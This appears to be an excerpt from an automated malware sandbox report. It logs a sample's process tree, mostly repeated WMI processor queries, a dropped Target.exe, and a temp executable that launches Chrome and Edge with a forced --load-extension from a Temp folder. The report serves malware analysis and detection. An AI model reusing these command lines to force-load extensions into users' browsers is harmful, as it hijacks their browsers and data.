Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe

File read: C:\Program Files\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\zlONcFaXkc.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: AddInProcess.exe	String found in binary or memory: id-cmc-addExtensions
Source: AddInProcess.exe	String found in binary or memory: set-addPolicy

Source: C:\Users\user\Desktop\zlONcFaXkc.exe

File read: C:\Users\user\Desktop\zlONcFaXkc.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\zlONcFaXkc.exe "C:\Users\user\Desktop\zlONcFaXkc.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process created: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe "C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe"
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 468 -p 7508 -ip 7508
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7508 -s 1516
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1988,i,7184690276915472336,9481308763283154706,262144 /prefetch:3
